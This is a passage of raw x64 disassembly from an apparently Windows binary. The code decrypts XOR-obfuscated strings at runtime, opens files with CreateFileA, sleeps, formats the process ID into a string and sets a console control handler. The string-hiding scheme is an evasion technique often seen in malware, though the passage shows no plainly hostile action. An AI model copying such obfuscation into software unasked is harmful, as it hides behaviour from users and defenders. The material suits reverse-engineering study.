add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e62
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x6a8], xmm0
mov byte [rbp + 0x698], 0
mov rdx, qword [rbp + 0x878]
cmp rdx, 0xf
jbe 0x14002f993
inc rdx
mov rcx, qword [rbp + 0x860]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f98e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e68
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x870], xmm0
mov byte [rbp + 0x860], 0
mov rdx, qword [rbp + 0x6d0]
cmp rdx, 0xf
jbe 0x14002f9eb
inc rdx
mov rcx, qword [rbp + 0x6b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f9e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e6e
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x6c8], xmm0
mov byte [rbp + 0x6b8], 0
lea rdi, [rbp + 0x380]
cmp qword [rbp + 0x398], 0xf
cmova rdi, qword [rbp + 0x380]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x620
mov eax, dword [rdx + rcx]
mov ebx, 0x318
test al, 1
jne 0x14002fa58
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rbx + rcx + 4], 0x1c3cb30
mov dword [rbx + rcx], 0xf0d49535
lea rcx, [0x14003c820]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 7], 0
je 0x14002fa8c
xor byte [rcx], 0x45
xor byte [rcx + 1], 0xf9
xor byte [rcx + 2], 0x8b
xor byte [rcx + 3], 0x91
xor byte [rcx + 4], 0x45
xor byte [rcx + 5], 0xb3
xor byte [rcx + 6], 0xc3
mov byte [rcx + 7], 0
mov rdx, rdi
call fcn.140036430
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0xd0]
call fcn.1400027b0
mov rbx, rax
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0xf0]
call fcn.1400027b0
nop
mov r8d, 0x8000000
mov rdx, rbx
mov rcx, rax
call fcn.1400350b0
lea rcx, [rbp + 0x380]
cmp qword [rbp + 0x398], 0xf
cmova rcx, qword [rbp + 0x380]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x60], rax
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x578
mov ecx, dword [rax + rdx]
mov ebx, 0x628
test cl, 1
jne 0x14002fb59
or ecx, 1
mov dword [rax + rdx], ecx
mov dword [rbx + rdx + 2], 0x1078308
mov word [rbx + rdx], 0x891f
lea rcx, [0x14003c7e0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 5], 0
je 0x14002fb85
xor byte [rdx], 0x31
xor byte [rdx + 1], 0xeb
xor byte [rdx + 2], 0x61
xor byte [rdx + 3], 0xed
xor byte [rdx + 4], 7
mov byte [rdx + 5], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x6d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6e8], xmm1
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14002fba0
lea rcx, [rbp + 0x6d8]
call fcn.140004d10
nop
call fcn.14000fe80
mov edx, eax
lea rcx, [rbp + 0x840]
call fcn.140001f00
mov r13, rax
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x574
mov ecx, dword [rax + rdx]
mov ebx, 0x27c
test cl, 1
jne 0x14002fc10
or ecx, 1
mov dword [rax + rdx], ecx
mov word [rbx + rdx + 3], 0x1ed
mov word [rbx + rdx], 0x9f6d
mov byte [rbx + rdx + 2], 0xd
lea rcx, [0x14003c800]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 4], 0
je 0x14002fc38
xor byte [rdx], 0x31
xor byte [rdx + 1], 0xeb
xor byte [rdx + 2], 0x61
xor byte [rdx + 3], 0xed
mov byte [rdx + 4], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3b0], xmm1
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x14002fc50
lea rcx, [rbp + 0x3a0]
call fcn.140004d10
nop
lea rax, [rbp + 0xc90]
mov rbx, rsi
inc rbx
cmp byte [rax + rbx], 0
jne 0x14002fc71
mov r8, qword [rbp + 0x3b0]
mov rcx, qword [rbp + 0x3b8]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x14002fd3e
lea rax, [r8 + rbx]
mov qword [rbp + 0x3b0], rax
lea rdi, [rbp + 0x3a0]
cmp rcx, 0xf
cmova rdi, qword [rbp + 0x3a0]
lea rax, [rbp + 0xc90]
add rax, rbx
cmp rax, rdi
jbe 0x14002fcf4
lea rax, [rdi + r8]
lea rcx, [rbp + 0xc90]
cmp rcx, rax
ja 0x14002fcf4
lea rax, [rbp + 0xc90]
cmp rdi, rax
ja 0x14002fce5
mov r12, r14
jmp 0x14002fcf7
lea rax, [rbp + 0xc90]
mov r12, rdi
sub r12, rax
jmp 0x14002fcf7
mov r12, rbx
lea rcx, [rdi + rbx]
inc r8
mov rdx, rdi
call fcn.140036b10
mov r8, r12
lea rdx, [rbp + 0xc90]
mov rcx, rdi
call fcn.140036b10
lea rcx, [rdi + r12]
mov r8, rbx
sub r8, r12
lea rax, [r12 + rbx]
lea rdx, [rbp + 0xc90]
add rdx, rax
call fcn.140036b10
lea rax, [rbp + 0x3a0]
jmp 0x14002fd5e
mov qword [rsp + 0x28], rbx
lea rax, [rbp + 0xc90]
mov qword [rsp + 0x20], rax
mov rdx, rbx
lea rcx, [rbp + 0x3a0]
call fcn.140006760
xorps xmm0, xmm0
movups xmmword [rbp + 0x558], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x568], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x558], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x568], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r9, r13
lea r8, [rbp + 0x558]
lea rcx, [rbp + 0x758]
call fcn.140006100
nop
lea r9, [rbp + 0x6d8]
lea r8, [rbp + 0x758]
lea rcx, [rbp + 0x360]
call fcn.140006100
nop
mov rdx, qword [rbp + 0x770]
cmp rdx, 0xf
jbe 0x14002fe0a
inc rdx
mov rcx, qword [rbp + 0x758]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002fe05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e74
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x768], xmm0
mov byte [rbp + 0x758], 0
mov rdx, qword [rbp + 0x570]
cmp rdx, 0xf
jbe 0x14002fe62
inc rdx
mov rcx, qword [rbp + 0x558]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002fe5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e7a
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x568], xmm0
mov byte [rbp + 0x558], 0
mov rdx, qword [rbp + 0x3b8]
cmp rdx, 0xf
jbe 0x14002feba
inc rdx
mov rcx, qword [rbp + 0x3a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002feb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e80
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x3b0], xmm0
mov byte [rbp + 0x3a0], 0
mov rdx, qword [rbp + 0x858]
cmp rdx, 0xf
jbe 0x14002ff12
inc rdx
mov rcx, qword [rbp + 0x840]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ff0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e86
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x850], xmm0
mov byte [rbp + 0x840], 0
mov rdx, qword [rbp + 0x6f0]
cmp rdx, 0xf
jbe 0x14002ff6a
inc rdx
mov rcx, qword [rbp + 0x6d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ff65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e8c
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x6e8], xmm0
mov byte [rbp + 0x6d8], 0
lea rdi, [rbp + 0x360]
cmp qword [rbp + 0x378], 0xf
cmova rdi, qword [rbp + 0x360]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x140
mov eax, dword [rdx + rcx]
mov ebx, 0x3a0
test al, 1
jne 0x14002ffd7
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rbx + rcx + 4], 0x1fbdf9e
mov dword [rbx + rcx], 0xece0efcb
lea rcx, [0x14003c7b0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 7], 0
je 0x14003000b
xor byte [rcx], 0xbf
xor byte [rcx + 1], 0x83
xor byte [rcx + 2], 0xbf
xor byte [rcx + 3], 0x8d
xor byte [rcx + 4], 0xeb
xor byte [rcx + 5], 0xa7
xor byte [rcx + 6], 0xfb
mov byte [rcx + 7], 0
mov rdx, rdi
call fcn.140036430
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0xb0]
call fcn.1400027b0
mov rbx, rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x90]
call fcn.1400027b0
nop
mov r8d, 0x8000000
mov rdx, rbx
mov rcx, rax
call fcn.1400350b0
lea rcx, [rbp + 0x360]
cmp qword [rbp + 0x378], 0xf
cmova rcx, qword [rbp + 0x360]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x58], rax
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x384
mov ecx, dword [rax + rdx]
mov ebx, 0x5dc
test cl, 1
jne 0x1400300d8
or ecx, 1
mov dword [rax + rdx], ecx
mov dword [rbx + rdx + 2], 0x1eb8d4c
mov word [rbx + rdx], 0x1fd5
lea rcx, [0x14003c770]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 5], 0
je 0x140030104
xor byte [rdx], 0xfb
xor byte [rdx + 1], 0x7d
xor byte [rdx + 2], 0x25
xor byte [rdx + 3], 0xe3
xor byte [rdx + 4], 0xeb
mov byte [rdx + 5], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x718], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x728], xmm1
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140030120
lea rcx, [rbp + 0x718]
call fcn.140004d10
nop
call fcn.14000fe80
mov edx, eax
lea rcx, [rbp + 0x820]
call fcn.140001f00
mov r13, rax
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x550
mov ecx, dword [rax + rdx]
mov ebx, 0x148
test cl, 1
jne 0x140030190
or ecx, 1
mov dword [rax + rdx], ecx
mov word [rbx + rdx + 3], 0x1e3
mov word [rbx + rdx], 0x1ea7
mov byte [rbx + rdx + 2], 0x49
lea rcx, [0x14003c790]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 4], 0
je 0x1400301b8
xor byte [rdx], 0xfb
xor byte [rdx + 1], 0x7d
xor byte [rdx + 2], 0x25
xor byte [rdx + 3], 0xe3
mov byte [rdx + 4], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3d0], xmm1
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x1400301d0
lea rcx, [rbp + 0x3c0]
call fcn.140004d10
nop
lea rax, [rbp + 0xc90]
mov rbx, rsi
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400301f1
mov r8, qword [rbp + 0x3d0]
mov rcx, qword [rbp + 0x3d8]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x1400302be
lea rax, [rbx + r8]
mov qword [rbp + 0x3d0], rax
lea rdi, [rbp + 0x3c0]
cmp rcx, 0xf
cmova rdi, qword [rbp + 0x3c0]
lea rax, [rbp + 0xc90]
add rax, rbx
cmp rax, rdi
jbe 0x140030274
lea rax, [rdi + r8]
lea rcx, [rbp + 0xc90]
cmp rcx, rax
ja 0x140030274
lea rax, [rbp + 0xc90]
cmp rdi, rax
ja 0x140030265
mov r12, r14
jmp 0x140030277
lea rax, [rbp + 0xc90]
mov r12, rdi
sub r12, rax
jmp 0x140030277
mov r12, rbx
lea rcx, [rdi + rbx]
inc r8
mov rdx, rdi
call fcn.140036b10
mov r8, r12
lea rdx, [rbp + 0xc90]
mov rcx, rdi
call fcn.140036b10
lea rcx, [rdi + r12]
mov r8, rbx
sub r8, r12
lea rax, [r12 + rbx]
lea rdx, [rbp + 0xc90]
add rdx, rax
call fcn.140036b10
lea rax, [rbp + 0x3c0]
jmp 0x1400302de
mov qword [rsp + 0x28], rbx
lea rax, [rbp + 0xc90]
mov qword [rsp + 0x20], rax
mov rdx, rbx
lea rcx, [rbp + 0x3c0]
call fcn.140006760
xorps xmm0, xmm0
movups xmmword [rbp + 0x578], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x588], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x578], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x588], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r9, r13
lea r8, [rbp + 0x578]
lea rcx, [rbp + 0x738]
call fcn.140006100
nop
lea r9, [rbp + 0x718]
lea r8, [rbp + 0x738]
lea rcx, [rbp + 0x340]
call fcn.140006100
nop
mov rdx, qword [rbp + 0x750]
cmp rdx, 0xf
jbe 0x14003038a
inc rdx
mov rcx, qword [rbp + 0x738]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030385
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e92
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x748], xmm0
mov byte [rbp + 0x738], 0
mov rdx, qword [rbp + 0x590]
cmp rdx, 0xf
jbe 0x1400303e2
inc rdx
mov rcx, qword [rbp + 0x578]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400303dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e98
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x588], xmm0
mov byte [rbp + 0x578], 0
mov rdx, qword [rbp + 0x3d8]
cmp rdx, 0xf
jbe 0x14003043a
inc rdx
mov rcx, qword [rbp + 0x3c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030435
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e9e
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x3d0], xmm0
mov byte [rbp + 0x3c0], 0
mov rdx, qword [rbp + 0x838]
cmp rdx, 0xf
jbe 0x140030492
inc rdx
mov rcx, qword [rbp + 0x820]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003048d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033ea4
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x830], xmm0
mov byte [rbp + 0x820], 0
mov rdx, qword [rbp + 0x730]
cmp rdx, 0xf
jbe 0x1400304ea
inc rdx
mov rcx, qword [rbp + 0x718]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400304e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033eaa
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x728], xmm0
mov byte [rbp + 0x718], 0
lea rcx, [rbp + 0x340]
cmp qword [rbp + 0x358], 0xf
cmova rcx, qword [rbp + 0x340]
call fcn.1400355d0
test eax, eax
je 0x14003058a
lea rax, [rbp + 0x70]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x70]
call fcn.1400027b0
mov rbx, rax
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x50]
call fcn.1400027b0
nop
mov r8d, 0x8000000
mov rdx, rbx
mov rcx, rax
call fcn.1400350b0
lea rcx, [rbp + 0x340]
cmp qword [rbp + 0x358], 0xf
cmova rcx, qword [rbp + 0x340]
call fcn.140036610
mov r12, rax
mov qword [rsp + 0x48], rax
call fcn.140035540
jmp 0x140030594
mov r12, qword [rsp + 0x50]
mov qword [rsp + 0x48], r12
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsp + 0x40], 3
jle 0x1400307b2
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x588
mov eax, dword [rdx + rcx]
mov ebx, 0x6c4
test al, 1
jne 0x1400305ec
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 3], 0x1b7
mov word [rbx + rcx], 0xdba6
mov byte [rbx + rcx + 2], 0xfc
lea rcx, [0x14003c750]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 4], 0
je 0x140030614
xor byte [rdx], 0x8b
xor byte [rdx + 1], 0xb5
xor byte [rdx + 2], 0x9d
xor byte [rdx + 3], 0xb7
mov byte [rdx + 4], 0
mov rax, qword [r15 + 0x18]
sub rdx, rax
nop dword [rax + rax]
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x140030634
inc rax
test ecx, ecx
jne 0x140030620
test r8d, r8d
jne 0x1400307b2
movdqa xmm0, xmmword [0x140048620]
mov dword [rbp + 0x2d0], 0x79fcf90
mov dword [rbp + 0x2d4], 0xb39092ca
mov dword [rbp + 0x2d8], 0x3dacedd
mov word [rbp + 0x2dc], 0xd4c3
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x19c
mov eax, dword [rdx + rcx]
mov ebx, 0x700
test al, 1
jne 0x140030715
or eax, 1
mov dword [rdx + rcx], eax
add rcx, rbx
mov byte [rcx + 0x1f], 1
lea rax, [rcx + 0x1e]
lea rdx, [rbp + 0x2de]
cmp rcx, rdx
ja 0x1400306e0
lea rdx, [rbp + 0x2c0]
cmp rax, rdx
jb 0x1400306e0
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2d0]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2d8]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x2dc]
mov word [rcx + 0x1c], ax
mov byte [rcx + 0x1e], 0xfb
jmp 0x140030708
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2d0]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2d8]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x2dc]
mov word [rcx + 0x1c], ax
mov byte [rcx + 0x1e], 0xfb
lea rcx, [0x14003c720]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 0x1f], 0
je 0x140030b98
xor byte [rdx], 0xf5
xor byte [rdx + 1], 0xbd
xor byte [rdx + 2], 0xbf
xor byte [rdx + 3], 0x6f
xor byte [rdx + 4], 0xa5
xor byte [rdx + 5], 0xfd
xor byte [rdx + 6], 0xfb
xor byte [rdx + 7], 0x93
xor byte [rdx + 8], 0xf5
xor byte [rdx + 9], 0xbd
xor byte [rdx + 0xa], 0xbf
xor byte [rdx + 0xb], 0x6f
xor byte [rdx + 0xc], 0xa5
xor byte [rdx + 0xd], 0xfd
xor byte [rdx + 0xe], 0xfb
xor byte [rdx + 0xf], 0x93
xor byte [rdx + 0x10], 0xf5
xor byte [rdx + 0x11], 0xbd
xor byte [rdx + 0x12], 0xbf
xor byte [rdx + 0x13], 0x6f
xor byte [rdx + 0x14], 0xa5
xor byte [rdx + 0x15], 0xfd
xor byte [rdx + 0x16], 0xfb
xor byte [rdx + 0x17], 0x93
xor byte [rdx + 0x18], 0xf5
xor byte [rdx + 0x19], 0xbd
xor byte [rdx + 0x1a], 0xbf
xor byte [rdx + 0x1b], 0x6f
xor byte [rdx + 0x1c], 0xa5
xor byte [rdx + 0x1d], 0xfd
xor byte [rdx + 0x1e], 0xfb
mov byte [rdx + 0x1f], 0
jmp 0x140030b98
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x320
mov eax, dword [rdx + rcx]
mov ebx, 0x3e8
test al, 1
jne 0x1400307f1
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rcx + rbx + 4], 0x163a950
mov dword [rcx + rbx], 0x257723ef
lea rcx, [0x14003c6c0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 7], 0
je 0x140030825
xor byte [rdx], 0xcf
xor byte [rdx + 1], 0x11
xor byte [rdx + 2], 0x49
xor byte [rdx + 3], 0x4b
xor byte [rdx + 4], 0x25
xor byte [rdx + 5], 0xc5
xor byte [rdx + 6], 0x63
mov byte [rdx + 7], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x6f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x708], xmm1
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140030840
lea rcx, [rbp + 0x6f8]
call fcn.140004d10
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r9d, eax
lea r10, [rbp + 0xc85]
nop word [rax + rax]
dec r10
mov eax, 0xcccccccd
mul r9d
mov r8d, edx
shr r8d, 3
movzx ecx, r8b
shl cl, 2
lea edx, [rcx + r8]
add dl, dl
sub r9b, dl
add r9b, 0x30
mov byte [r10], r9b
mov r9d, r8d
test r8d, r8d
jne 0x140030870
lea r8, [rbp + 0xc85]
mov rdx, r10
lea rcx, [rbp + 0x930]
call fcn.140006340
nop
movdqa xmm0, xmmword [0x140048550]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x680
mov eax, dword [rdx + rcx]
mov ebx, 0x800
test al, 1
jne 0x14003091c
or eax, 1
mov dword [rdx + rcx], eax
lea rax, [rcx + rbx]
mov byte [rax + 0x10], 1
lea rcx, [rax + 0xf]
lea rdx, [rbp + 0x8cf]
cmp rax, rdx
ja 0x14003090c
lea rdx, [rbp + 0x8c0]
cmp rcx, rdx
jb 0x14003090c
movups xmmword [rax], xmm0
jmp 0x14003090f
movups xmmword [rax], xmm0
lea rcx, [0x14003c6f0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 0x10], 0
je 0x140030974
xor byte [rdx], 0xcf
xor byte [rdx + 1], 0x11
xor byte [rdx + 2], 0x49
xor byte [rdx + 3], 0x4b
xor byte [rdx + 4], 0x25
xor byte [rdx + 5], 0xc5
xor byte [rdx + 6], 0x63
xor byte [rdx + 7], 0x77
xor byte [rdx + 8], 0xcf
xor byte [rdx + 9], 0x11
xor byte [rdx + 0xa], 0x49
xor byte [rdx + 0xb], 0x4b
xor byte [rdx + 0xc], 0x25
xor byte [rdx + 0xd], 0xc5
xor byte [rdx + 0xe], 0x63
xor byte [rdx + 0xf], 0x77
mov byte [rdx + 0x10], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x7e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x7f0], xmm1
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140030990
lea rcx, [rbp + 0x7e0]
call fcn.140004d10
nop
lea r9, [rbp + 0x930]
lea r8, [rbp + 0x7e0]
lea rcx, [rbp + 0x970]
call fcn.140006100
nop
lea r9, [rbp + 0x6f8]
lea r8, [rbp + 0x970]
lea rcx, [rbp + 0x800]
call fcn.140006100
lea rcx, [rbp + 0x800]
cmp qword [rbp + 0x818], 0xf
cmova rcx, qword [rbp + 0x800]
call fcn.140012340
mov ebx, eax
lea rcx, [rbp + 0x800]
call fcn.1400025e0
nop
lea rcx, [rbp + 0x970]
call fcn.1400025e0
nop
lea rcx, [rbp + 0x7e0]
call fcn.1400025e0
nop
lea rcx, [rbp + 0x930]
call fcn.1400025e0
nop
mov rdx, qword [rbp + 0x710]
cmp rdx, 0xf
jbe 0x140030a6f
inc rdx
mov rcx, qword [rbp + 0x6f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030a6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033eaa
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x708], xmm0
mov byte [rbp + 0x6f8], 0
test ebx, ebx
jne 0x140033d72
movdqa xmm0, xmmword [0x1400485a0]
mov dword [rbp + 0x320], 0xe38d6dac
mov dword [rbp + 0x324], 0xcff8dc7c
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x584
mov eax, dword [rdx + rcx]
mov ebx, 0x4a8
test al, 1
jne 0x140030b20
or eax, 1
mov dword [rdx + rcx], eax
lea rax, [rcx + rbx]
mov byte [rax + 0x18], 1
lea rcx, [rax + 0x17]
lea rdx, [rbp + 0x327]
cmp rax, rdx
ja 0x140030b03
lea rdx, [rbp + 0x310]
cmp rcx, rdx
jb 0x140030b03
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp + 0x320]
movsd qword [rax + 0x10], xmm0
jmp 0x140030b13
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp + 0x320]
movsd qword [rax + 0x10], xmm0
lea rcx, [0x14003c670]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 0x18], 0
je 0x140030b98
xor byte [rdx], 0xc9
xor byte [rdx + 1], 0x1f
xor byte [rdx + 2], 0xad
xor byte [rdx + 3], 0x8b
xor byte [rdx + 4], 0x13
xor byte [rdx + 5], 0xb3
xor byte [rdx + 6], 0x93
xor byte [rdx + 7], 0xcf
xor byte [rdx + 8], 0xc9
xor byte [rdx + 9], 0x1f
xor byte [rdx + 0xa], 0xad
xor byte [rdx + 0xb], 0x8b
xor byte [rdx + 0xc], 0x13
xor byte [rdx + 0xd], 0xb3
xor byte [rdx + 0xe], 0x93
xor byte [rdx + 0xf], 0xcf
xor byte [rdx + 0x10], 0xc9
xor byte [rdx + 0x11], 0x1f
xor byte [rdx + 0x12], 0xad
xor byte [rdx + 0x13], 0x8b
xor byte [rdx + 0x14], 0x13
xor byte [rdx + 0x15], 0xb3
xor byte [rdx + 0x16], 0x93
xor byte [rdx + 0x17], 0xcf
mov byte [rdx + 0x18], 0
lea rdi, [0x140425920]
mov rcx, rdi
call fcn.140004760
mov rcx, rax
call fcn.140004a10
mov edx, 1
lea rcx, [0x140036970]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
cmp dword [rsp + 0x40], 4
jle 0x140030c6a
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x728
mov eax, dword [rdx + rcx]
mov ebx, 0x158
test al, 1
jne 0x140030c0a
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rcx + rbx + 2], 0x1ef9044
mov word [rcx + rbx], 0x947e
lea rcx, [0x14003c650]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rax, qword [rax]
add rax, rbx
cmp byte [rax + 5], 0
je 0x140030c36
xor byte [rax], 0x53
xor byte [rax + 1], 0xf7
xor byte [rax + 2], 0x27
xor byte [rax + 3], 0xf3
xor byte [rax + 4], 0xef
mov byte [rax + 5], 0
mov rdx, qword [r15 + 0x20]
sub rax, rdx
nop dword [rax]
movzx r9d, byte [rdx]
